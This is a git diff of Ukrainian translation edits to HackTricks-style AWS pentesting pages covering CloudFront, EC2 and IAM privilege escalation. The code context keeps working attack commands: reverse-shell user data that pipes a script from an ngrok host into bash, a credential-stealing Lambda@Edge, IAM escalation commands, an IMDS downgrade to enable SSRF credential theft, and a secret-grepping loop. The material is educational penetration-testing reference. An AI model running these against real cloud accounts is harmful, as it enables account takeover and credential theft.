-3. **Cross-Account Policies**: Ретельно перевіряйте політики черг SQS, які дозволяють доступ між акаунтами
+1. **Принцип найменших привілеїв**: Обмежте дозволи `sqs:StartMessageMoveTask` лише необхідними ролями
+2. **Monitor DLQs**: Налаштуйте CloudWatch alarms для виявлення аномальної активності DLQs
+3. **Cross-Account Policies**: Ретельно перевіряйте політики черг SQS, що дозволяють доступ між акаунтами
4. **Encrypt DLQs**: Використовуйте SSE-KMS з обмеженими політиками ключів
-5. **Regular Cleanup**: Не дозволяйте чутливим даним накопичуватися в DLQs невизначено довго
+5. **Regular Cleanup**: Не дозволяйте чутливим даним накопичуватися в DLQs безстроково
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md
index 65b8a77ee..cc8e11839 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudfront-privesc/README.md
@@ -6,9 +6,9 @@
### `cloudfront:UpdateDistribution` & `cloudfront:GetDistributionConfig`
-Зловмисник, який має дозволи `cloudfront:UpdateDistribution` та `cloudfront:GetDistributionConfig`, може змінювати конфігурацію CloudFront distribution. Вони не потребують дозволів на сам цільовий S3 bucket, хоча атака буде простішою, якщо цей bucket має permissive policy, яка дозволяє доступ від cloudfront.amazonaws.com service principal.
+Зловмисник, який має дозволи cloudfront:UpdateDistribution та cloudfront:GetDistributionConfig, може змінити конфігурацію дистрибуції CloudFront. Йому не потрібні дозволи на сам цільовий S3 bucket, хоча атака легша, якщо цей bucket має широко відкриту політику, яка дозволяє доступ від cloudfront.amazonaws.com service principal.
-Зловмисник змінює origin configuration distribution, щоб вказати на інший S3 bucket або на сервер, контрольований зловмисником. Спочатку вони отримують поточну конфігурацію distribution:
+Зловмисник змінює origin-конфігурацію дистрибуції, щоб вказати на інший S3 bucket або на сервер, контрольований зловмисником. Спочатку вони отримують поточну конфігурацію дистрибуції:
```bash
aws cloudfront get-distribution-config --id | jq '.DistributionConfig' > current-config.json
```
@@ -40,7 +40,7 @@ aws cloudfront get-distribution-config --id | jq '.Distributio
},
...
```
-Нарешті застосуйте змінену конфігурацію (потрібно вказати поточний ETag при оновленні):
+Нарешті, застосуйте змінену конфігурацію (під час оновлення потрібно вказати поточний ETag):
```bash
CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
@@ -170,10 +170,10 @@ body: JSON.stringify({ message: "Credentials stolen" })
```
```bash
-# Упакувати функцію Lambda@Edge
+# Упакуйте функцію Lambda@Edge
zip malicious-lambda-edge.zip malicious-lambda-edge.js
-# Створити функцію Lambda@Edge з привілеєвою роллю
+# Створіть функцію Lambda@Edge із привілейованою роллю
aws lambda create-function \
--function-name malicious-lambda-edge \
--runtime nodejs18.x \
@@ -182,7 +182,7 @@ aws lambda create-function \
--zip-file fileb://malicious-lambda-edge.zip \
--region
-# Опублікувати версію функції
+# Опублікуйте версію функції
aws lambda publish-version --function-name malicious-lambda-edge --region
```
@@ -210,7 +210,7 @@ aws cloudfront update-distribution \
--distribution-config file://current-config.json \
--if-match $CURRENT_ETAG
-# Запустити функцію, виконавши запит до distribution
+# Запустити функцію, зробивши запит до distribution
curl -v https://.cloudfront.net/
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index ff958d3e8..2ac6fd7e4 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -12,11 +12,11 @@
### `iam:PassRole`, `ec2:RunInstances`
-Зловмисник може **створити інстанс із приєднаним IAM role і потім отримати доступ до інстансу**, щоб викрасти облікові дані IAM role з metadata endpoint.
+Зловмисник може **створити інстанс, прикріпити роль IAM і потім отримати доступ до інстансу**, щоб вкрасти облікові дані ролі IAM з кінцевої точки метаданих.
- **Доступ через SSH**
-Запустіть новий інстанс, використовуючи **створений** **ssh key** (`--key-name`), а потім підключіться до нього по ssh (якщо ви хочете створити новий ключ, вам може знадобитися дозвіл `ec2:CreateKeyPair`).
+Запустіть новий інстанс, використовуючи **створений** **ssh key** (`--key-name`) і потім підключіться до нього через ssh (якщо ви хочете створити новий, вам може знадобитися дозвіл `ec2:CreateKeyPair`).
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
```
- **Доступ через rev shell у user data**
-Ви можете запустити новий instance, використовуючи **user data** (`--user-data`), який надішле вам **rev shell**. Вам не потрібно вказувати security group цим способом.
+Ви можете запустити новий інстанс, використовуючи **user data** (`--user-data`), який відправить вам **rev shell**. Таким чином вам не потрібно вказувати security group.
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,7 +34,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-Будьте обережні з GuradDuty якщо ви використовуєте облікові дані ролі IAM поза інстансом:
+Будьте обережні з GuradDuty, якщо ви використовуєте credentials IAM role поза instance:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
@@ -44,7 +44,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
#### Privesc to ECS
-З цим набором дозволів ви також можете **create an EC2 instance and register it inside an ECS cluster**. Таким чином, ECS **services** будуть **run** всередині **EC2 instance**, до якого ви маєте доступ, і ви зможете проникнути в ці сервіси (docker containers) та **steal their ECS roles attached**.
+З цим набором дозволів ви також могли б **create an EC2 instance and register it inside an ECS cluster**. Таким чином, ECS **services** будуть **run** всередині **EC2 instance**, до якого ви маєте доступ, і тоді ви можете проникнути в ці сервіси (docker containers) і **steal their ECS roles attached**.
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
#!/bin/bash
echo ECS_CLUSTER= >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
```
-Щоб дізнатися, як **змусити ECS services виконуватися** в цьому новому EC2 instance перегляньте:
+Щоб дізнатися, як **примусово запустити сервіси ECS** на цьому новому EC2 інстансі, перегляньте:
{{#ref}}
../aws-ecs-privesc/README.md
{{#endref}}
-Якщо ви **не можете створити новий instance**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати instance в кластері та виконати зазначену атаку.
+Якщо ви **не можете створити новий інстанс**, але маєте дозвіл `ecs:RegisterContainerInstance`, ви можете зареєструвати інстанс у кластері та виконати описану атаку.
-**Potential Impact:** Прямий privesc до ролей ECS, прикріплених до tasks.
+**Potential Impact:** Прямий privesc до ECS roles, прикріплених до tasks.
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-Подібно до попереднього сценарію, зловмисник з цими дозволами може **змінити IAM роль скомпрометованого instance**, щоб викрасти нові облікові дані.\
-Оскільки instance profile може мати лише 1 роль, якщо instance profile **вже має роль** (поширений випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile``**
+Подібно до попереднього сценарію, зловмисник із цими дозволами може **змінити IAM role скомпрометованого інстансу**, щоб вкрасти нові облікові дані.\
+Оскільки instance profile може мати лише 1 role, якщо instance profile **вже має роль** (звичайний випадок), вам також знадобиться **`iam:RemoveRoleFromInstanceProfile`**.
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,34 +80,33 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-Якщо **instance profile має role** і атакуючий **не може її видалити**, є інший обхідний шлях. Він може **знайти** **instance profile без role** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **role** до того **instance profile** (як описано вище), і **асоціювати цей instance profile** до скомпрометованого i**nstance:**
+Якщо **instance profile має роль** і attacker **не може її видалити**, існує інший обхідний шлях. Він може **знайти** **instance profile without a role** або **створити новий** (`iam:CreateInstanceProfile`), **додати** **role** до того **instance profile** (як описано раніше) та **асоціювати instance profile** compromised до compromised i**nstance:**
-- Якщо **instance** **не має жодного instance profile** (`ec2:AssociateIamInstanceProfile`)
+- Якщо instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**Потенційний вплив:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
+**Потенційний вплив:** Пряме privesc до іншої ролі EC2 (потрібно, щоб ви скомпрометували AWS EC2 інстанс і мали додаткові дозволи або певний стан instance profile).
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-Маючи ці дозволи, можна змінити instance profile, пов’язаний з інстанцією, тож якщо атакуючий уже має доступ до інстанції, він зможе вкрасти облікові дані для інших ролей шляхом заміни прив’язаного instance profile.
+Маючи ці дозволи, можна змінити instance profile, асоційований з інстансом. Тож якщо атакуючий уже має доступ до інстансу, він зможе отримати облікові дані для інших ролей instance profile, замінивши пов'язаний профіль.
-- Якщо інстанція **має instance profile**, ви можете **від’єднати** instance profile (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** інший
+- Якщо інстанс **має instance profile**, ви можете **видалити** instance profile (`ec2:DisassociateIamInstanceProfile`) і **асоціювати** його
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-- або **замінити** **instance profile** компрометованого instance (`ec2:ReplaceIamInstanceProfileAssociation`).
+- або **замінити** **instance profile** скомпрометованого інстансу (`ec2:ReplaceIamInstanceProfileAssociation`).
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**Потенційний вплив:** Прямий privesc до іншої EC2 role (потрібно мати скомпрометований AWS EC2 instance та додаткові дозволи або певний instance profile status).
+**Potential Impact:** Безпосереднє privesc до іншої EC2 role (потрібно скомпрометувати AWS EC2 instance та мати додаткові дозволи або конкретний instance profile status).
### `ec2:RequestSpotInstances`,`iam:PassRole`
-Зловмисник із дозволами **`ec2:RequestSpotInstances`and`iam:PassRole`** може запросити **Spot Instance** з **EC2 Role attached** та **rev shell** у **user data**.\
-Після запуску інстансу він може викрасти **IAM role**.
+Зловмисник з правами **`ec2:RequestSpotInstances`and`iam:PassRole`** може **запросити** **Spot Instance** з **EC2 Role attached** і **rev shell** у **user data**.\ Після запуску інстансу він може **вкрасти IAM role**.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +118,9 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-Атакуючий з правом **`ec2:ModifyInstanceAttribute`** може змінювати атрибути інстансу. Серед них він може **змінити user data**, що дозволяє змусити інстанс **виконати довільний код.** Це можна використати для отримання **rev shell на EC2 instance**.
+Зловмисник з правами **`ec2:ModifyInstanceAttribute`** може змінювати атрибути інстансу. Серед іншого він може **змінити user data**, а це означає, що він може змусити інстанс **запустити довільні дані**, що може бути використано для отримання **rev shell to the EC2 instance**.
-Зверніть увагу, що атрибути можна **змінювати тільки коли інстанс зупинений**, тож потрібні **права** **`ec2:StopInstances`** і **`ec2:StartInstances`**.
+Зауважте, що атрибути можна **змінювати лише коли інстанс зупинено**, тому потрібні права **`ec2:StopInstances`** та **`ec2:StartInstances`**.
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +157,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**Potential Impact:** Прямий privesc до будь-якої EC2 IAM Role, прикріпленої до створеного інстансу.
+**Potential Impact:** Пряме privesc до будь-якої EC2 IAM Role, прикріпленої до створеного instance.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-Атакувальник із дозволами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** може створити **нову версію Launch Template** з **rev shell у** **user data** та **будь-якою EC2 IAM Role на ній**, змінити версію за замовчуванням, і **будь-яка Autoscaler group** **що використовує** цей **Launch Template**, яка **сконфігурована** використовувати **latest** або **default version**, повторно **re-run the instances** за цим шаблоном і виконає rev shell.
+Зловмисник з дозволами **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** може створити **нову Launch Template version** з **rev shell у** **user data** та **будь-яку EC2 IAM Role на ній**, змінити версію за замовчуванням, і **будь-яка Autoscaler group** **що використовує** ту **Launch Templat**e, яка **налаштована** на використання **latest** або **default version**, **перезапустить інстанси** використовуючи цей шаблон і виконає rev shell.
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +175,11 @@ aws ec2 modify-launch-template \
--launch-template-name bad_template \
--default-version 2
```
-**Potential Impact:** Прямий privesc до іншої EC2 role.
+**Потенційний вплив:** Пряме privesc до іншої EC2 role.
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-Зловмисник з правами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateLaunchConfiguration`,`iam:PassRole`** може **створити Launch Configuration** з **IAM Role** та **rev shell** у **user data**, потім **створити autoscaling group** з цієї конфігурації й чекати, поки rev shell **вкраде IAM Role**.
+Зловмисник із дозволами **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** може **створити Launch Configuration** з **IAM Role** та **rev shell** у **user data**, потім **створити autoscaling group** на основі цієї конфігурації і чекати, поки **rev shell** **викраде IAM Role**.
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +195,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Потенційний вплив:** Прямий privesc до іншої ролі EC2.
+**Потенційний вплив:** Прямий privesc до іншої EC2 role.
### `!autoscaling`
-The set of permissions **`ec2:CreateLaunchTemplate`** and **`autoscaling:CreateAutoScalingGroup`** **aren't enough to escalate** privileges to an IAM role because in order to attach the role specified in the Launch Configuration or in the Launch Template **you need to permissions `iam:PassRole`and `ec2:RunInstances`** (which is a known privesc).
+Набір дозволів **`ec2:CreateLaunchTemplate`** та **`autoscaling:CreateAutoScalingGroup`** **недостатній для ескалації** привілеїв до IAM role, оскільки для прикріплення ролі, вказаної в Launch Configuration або в Launch Template, **вам потрібні дозволи `iam:PassRole`and `ec2:RunInstances`** (що є відомим privesc).
### `ec2-instance-connect:SendSSHPublicKey`
-Зловмисник із дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh-ключ до користувача й використати його для доступу (якщо він має ssh доступ до інстансу) або для ескалації привілеїв.
+Зловмисник з дозволом **`ec2-instance-connect:SendSSHPublicKey`** може додати ssh-ключ користувачу й використати його для доступу (якщо має ssh доступ до інстансу) або для ескалації привілеїв.
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**Можливий вплив:** Пряме privesc до EC2 IAM roles, прикріплених до запущених instances.
+**Потенційний вплив:** Direct privesc to the EC2 IAM roles attached to running instances.
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh-ключ до послідовного підключення**. Якщо послідовний доступ не ввімкнено, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess` для його ввімкнення**.
+Зловмисник з дозволом **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** може **додати ssh-ключ до послідовного з'єднання**. Якщо послідовний доступ не ввімкнено, зловмиснику потрібен дозвіл **`ec2:EnableSerialConsoleAccess` щоб його увімкнути**.
-Щоб підключитися до послідовного порту, також **потрібно знати ім'я користувача та його пароль** на машині.
+Щоб підключитися до послідовного порту, вам також **потрібно знати ім'я користувача та пароль користувача** всередині машини.
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +228,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-Цей спосіб не надто корисний для privesc, оскільки для його експлуатації потрібно знати ім'я користувача та пароль.
+Цей спосіб не дуже корисний для privesc, оскільки для його експлуатації потрібно знати ім'я користувача та пароль.
-**Потенційний вплив:** (дуже важко довести) Пряме privesc до EC2 IAM roles, прикріплених до запущених інстансів.
+**Potential Impact:** (Вкрай складно довести) Прямий privesc до EC2 IAM ролей, прив'язаних до запущених інстансів.
### `describe-launch-templates`,`describe-launch-template-versions`
-Оскільки launch templates підтримують версіонування, атакуючий з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може використати це для виявлення чутливої інформації, наприклад облікових даних, що присутні в user data. Щоб досягти цього, наступний скрипт перебирає всі версії доступних launch templates:
+Оскільки launch templates мають версіонування, зловмисник з правами **`ec2:describe-launch-templates`** та **`ec2:describe-launch-template-versions`** може використати їх для виявлення конфіденційної інформації, наприклад облікових даних, що містяться в даних користувача. Для цього наступний скрипт перебирає всі версії доступних launch templates:
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -248,13 +247,13 @@ echo
done | grep -iE "aws_|password|token|api"
done
```
-У наведених вище командах, хоча ми вказуємо певні шаблони (`aws_|password|token|api`), ви можете використати інший regex для пошуку інших типів конфіденційної інформації.
+У наведених командах, хоча ми й вказуємо певні шаблони (`aws_|password|token|api`), ви можете використати інший regex, щоб шукати інші типи чутливої інформації.
-Якщо ми знайдемо `aws_access_key_id` та `aws_secret_access_key`, ми можемо використати ці облікові дані для автентифікації в AWS.
+Припустимо, ми знайшли `aws_access_key_id` і `aws_secret_access_key` — ці облікові дані можна використати для автентифікації в AWS.
-**Potential Impact:** Пряме підвищення привілеїв для IAM-користувача(ів).
+**Можливий вплив:** Пряме підвищення привілеїв до IAM-користувача(ів).
-## References
+## Посилання
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
@@ -262,14 +261,15 @@ done
-### `ec2:ModifyInstanceMetadataOptions` (пониження IMDS, щоб дозволити SSRF для викрадення облікових даних)
-Зловмисник, який має можливість викликати `ec2:ModifyInstanceMetadataOptions` на цільовому EC2-інстансі, може послабити захист IMDS, увімкнувши IMDSv1 (`HttpTokens=optional`) і збільшивши `HttpPutResponseHopLimit`. Це робить кінцеву точку метаданих інстансу доступною через звичайні SSRF/проксі-шляхи від застосунків, що працюють на інстансі. Якщо зловмисник зможе викликати SSRF у такому застосунку, він може отримати облікові дані профілю інстансу та pivot з їх використанням.
+### `ec2:ModifyInstanceMetadataOptions` (пониження IMDS для дозволу крадіжки облікових даних через SSRF)
-- Необхідні дозволи: `ec2:ModifyInstanceMetadataOptions` на цільовому інстансі (плюс здатність досягнути/спровокувати SSRF на хості).
-- Цільовий ресурс: запущений EC2-інстанс з приєднаним instance profile (IAM role).
+Зловмисник, який може викликати `ec2:ModifyInstanceMetadataOptions` на вразливому EC2 інстансі, може послабити захист IMDS, увімкнувши IMDSv1 (`HttpTokens=optional`) та збільшивши `HttpPutResponseHopLimit`. Це робить endpoint метаданих інстансу доступним через поширені SSRF/проксі-шляхи з додатків, що виконуються на інстансі. Якщо зловмисник зможе спровокувати SSRF у такому додатку, він може отримати облікові дані instance profile і використовувати їх для подальших дій.
-Commands example:
+- Необхідні дозволи: `ec2:ModifyInstanceMetadataOptions` на цільовому інстансі (плюс можливість досягти/спровокувати SSRF на хості).
+- Цільовий ресурс: запущений EC2 інстанс з приєднаним instance profile (IAM role).
+
+Приклад команд:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id \
@@ -296,11 +296,11 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-Можливий вплив: викрадення instance profile credentials через SSRF, що призводить до підвищення привілеїв і латерального переміщення з правами ролі EC2.
+Можливий вплив: викрадення облікових даних профілю інстансу через SSRF, що може призвести до ескалації привілеїв та латерального переміщення з використанням дозволів ролі EC2.
### `ec2:ModifyInstanceMetadataOptions`
-Зловмисник, який має дозвіл ec2:ModifyInstanceMetadataOptions, може послабити захист Instance Metadata Service (IMDS) — наприклад, примусивши використання IMDSv1 (зробивши HttpTokens необов'язковими) або збільшивши HttpPutResponseHopLimit — тим самим полегшуючи ексфільтрацію тимчасових облікових даних. Найбільш релевантний вектор ризику — підвищення HttpPutResponseHopLimit: збільшивши цей ліміт переходів (TTL), кінцева точка 169.254.169.254 перестає бути строго обмеженою простором імен мережі VM і може стати доступною для інших процесів/контейнерів, що дозволяє викрадення облікових даних.
+Зловмисник з дозволом ec2:ModifyInstanceMetadataOptions може ослабити захист Instance Metadata Service (IMDS) — наприклад, примусово включити IMDSv1 (зробивши HttpTokens необов'язковими) або збільшити HttpPutResponseHopLimit — таким чином полегшуючи екфільтрацію тимчасових облікових даних. Найбільш релевантним вектором ризику є підвищення HttpPutResponseHopLimit: збільшуючи цей ліміт переходів (TTL), кінцева точка 169.254.169.254 перестає бути суворо обмеженою простором імен мережі VM і може стати доступною для інших процесів/контейнерів, що дозволяє викрадення облікових даних.
```bash
aws ec2 modify-instance-metadata-options \
--instance-id \
@@ -310,13 +310,13 @@ aws ec2 modify-instance-metadata-options \
```
### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
-Атакуючий, який має дозволи `ec2:ModifyImageAttribute` та `ec2:ModifySnapshotAttribute`, може ділитися AMIs або snapshots з іншими обліковими записами AWS (або навіть зробити їх публічними), що призведе до розкриття образів або томів, які можуть містити конфігурації, облікові дані, сертифікати або резервні копії. Змінивши дозволи запуску AMI або дозволи `create-volume` для snapshot, атакуючий дає третім сторонам змогу запускати інстанси або монтувати диски з цих ресурсів і отримувати доступ до їхнього вмісту.
+Атакуючий, який має дозволи ec2:ModifyImageAttribute та ec2:ModifySnapshotAttribute, може поділитися AMIs або snapshots з іншими обліковими записами AWS (або навіть зробити їх публічними), що призведе до розкриття образів або томів, які можуть містити конфіденційні дані, такі як конфігурації, облікові дані, сертифікати або резервні копії. Змінивши launch permissions для AMI або create-volume permissions для snapshot, атакуючий дозволяє третім сторонам запускати інстанси або підключати диски з цих ресурсів та отримувати доступ до їхнього вмісту.
Щоб поділитися AMI з іншим обліковим записом:
```bash
aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
```
-Щоб поділитися EBS snapshot з іншим обліковим записом:
+Щоб поділитися знімком EBS з іншим обліковим записом:
```bash
aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
```
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index bb193f1c0..8f6da9326 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -4,7 +4,7 @@
## IAM
-Для додаткової інформації про IAM дивіться:
+Для отримання додаткової інформації про IAM дивіться:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,38 +12,38 @@
### **`iam:CreatePolicyVersion`**
-Надає можливість створювати нову версію політики IAM, обходячи потребу в дозволі `iam:SetDefaultPolicyVersion` шляхом використання прапорця `--set-as-default`. Це дозволяє визначати власні дозволи.
+Надає можливість створити нову версію IAM policy, обходячи потребу в дозволі `iam:SetDefaultPolicyVersion` шляхом використання прапорця `--set-as-default`. Це дозволяє визначати власні дозволи.
-**Команда експлуатації:**
+**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**Вплив:** Безпосередньо підвищує привілеї, дозволяючи виконувати будь-яку дію над будь-яким ресурсом.
+**Impact:** Безпосередньо підвищує права доступу, дозволяючи виконувати будь-яку дію над будь-яким ресурсом.
### **`iam:SetDefaultPolicyVersion`**
-Дозволяє змінювати версію за замовчуванням політики IAM на іншу існуючу версію, що може призвести до ескалації привілеїв, якщо нова версія має більше дозволів.
+Дозволяє змінити версію за замовчуванням IAM-політики на іншу існуючу версію, що потенційно може призвести до підвищення прав доступу, якщо нова версія має більше дозволів.
-**Bash команда:**
+**Bash Command:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**Вплив:** Indirect privilege escalation шляхом надання додаткових дозволів.
+**Вплив:** Косвене privilege escalation шляхом надання додаткових дозволів.
### **`iam:CreateAccessKey`**
-Дозволяє створювати access key ID та secret access key для іншого користувача, що може призвести до потенційного privilege escalation.
+Дозволяє створювати access key ID та secret access key для іншого користувача, що може призвести до privilege escalation.
**Exploit:**
```bash
aws iam create-access-key --user-name
```
-**Impact:** Пряме підвищення привілеїв шляхом отримання розширених дозволів іншого користувача.
+**Вплив:** Пряме підвищення привілеїв шляхом набуття розширених прав іншого користувача.
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-Дозволяє створювати або оновлювати профіль входу, включаючи встановлення паролів для входу в AWS console, що призводить до прямого підвищення привілеїв.
+Дозволяє створювати або оновлювати профіль входу, включно з встановленням паролів для входу до консолі AWS, що призводить до прямого підвищення привілеїв.
**Exploit for Creation:**
```bash
@@ -55,37 +55,37 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**Вплив:** Пряме підвищення привілеїв шляхом входу під користувачем "any".
+**Вплив:** Пряме підвищення привілеїв шляхом входу як "any" користувач.
### **`iam:UpdateAccessKey`**
-Дозволяє увімкнути вимкнений access key, що може надати несанкціонований доступ, якщо зловмисник має цей ключ.
+Дозволяє повторно активувати відключений access key, що може призвести до несанкціонованого доступу, якщо зловмисник володіє ним.
-**Exploit:**
+**Експлойт:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**Вплив:** Direct privilege escalation шляхом повторної активації access keys.
+**Вплив:** Пряме підвищення привілеїв шляхом реактивації access keys.
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
Дозволяє генерувати або скидати credentials для конкретних AWS сервісів (наприклад, CodeCommit, Amazon Keyspaces), успадковуючи permissions пов'язаного user.
-**Exploit for Creation:**
+Exploit для створення:
```bash
aws iam create-service-specific-credential --user-name --service-name
```
-**Exploit для скидання:**
+**Exploit для Reset:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Вплив:** Пряме підвищення привілеїв у межах дозволів сервісу користувача.
+**Impact:** Пряме підвищення привілеїв у межах дозволів сервісу користувача.
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
Дозволяє прикріплювати політики до користувачів або груп, безпосередньо підвищуючи привілеї шляхом успадкування дозволів прикріпленої політики.
-**Exploit для користувача:**
+**Exploit for User:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
@@ -93,11 +93,11 @@ aws iam attach-user-policy --user-name --policy-arn ""
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Вплив:** Пряме підвищення привілеїв до всього, що надає ця політика.
+**Вплив:** Direct privilege escalation до всього, що надає ця політика.
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-Дозволяє приєднувати або додавати політики до ролей, користувачів або груп, що дає змогу здійснити пряме підвищення привілеїв шляхом надання додаткових дозволів.
+Дозволяє приєднувати або додавати політики до ролей, користувачів або груп, що забезпечує direct privilege escalation через надання додаткових дозволів.
**Exploit for Role:**
```bash
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name ""
aws iam put-role-policy --role-name --policy-name "" \
--policy-document file:///path/to/policy.json
```
-Ви можете використовувати політику, наприклад:
+Ви можете використати політику, наприклад:
```json
{
"Version": "2012-10-17",
@@ -131,7 +131,7 @@ aws iam put-role-policy --role-name --policy-name "" \
### **`iam:AddUserToGroup`**
-Дозволяє додати себе до IAM group, підвищуючи привілеї шляхом успадкування дозволів групи.
+Дозволяє додати себе до групи IAM, підвищуючи привілеї за рахунок успадкування дозволів групи.
**Експлойт:**
```bash
@@ -141,14 +141,14 @@ aws iam add-user-to-group --group-name --user-name
### **`iam:UpdateAssumeRolePolicy`**
-Дозволяє змінювати документ assume role policy ролі, що дає змогу прийняти роль і отримати пов'язані з нею дозволи.
+Дозволяє змінювати документ політики assume role ролі, що дозволяє assume role та отримати пов'язані з нею дозволи.
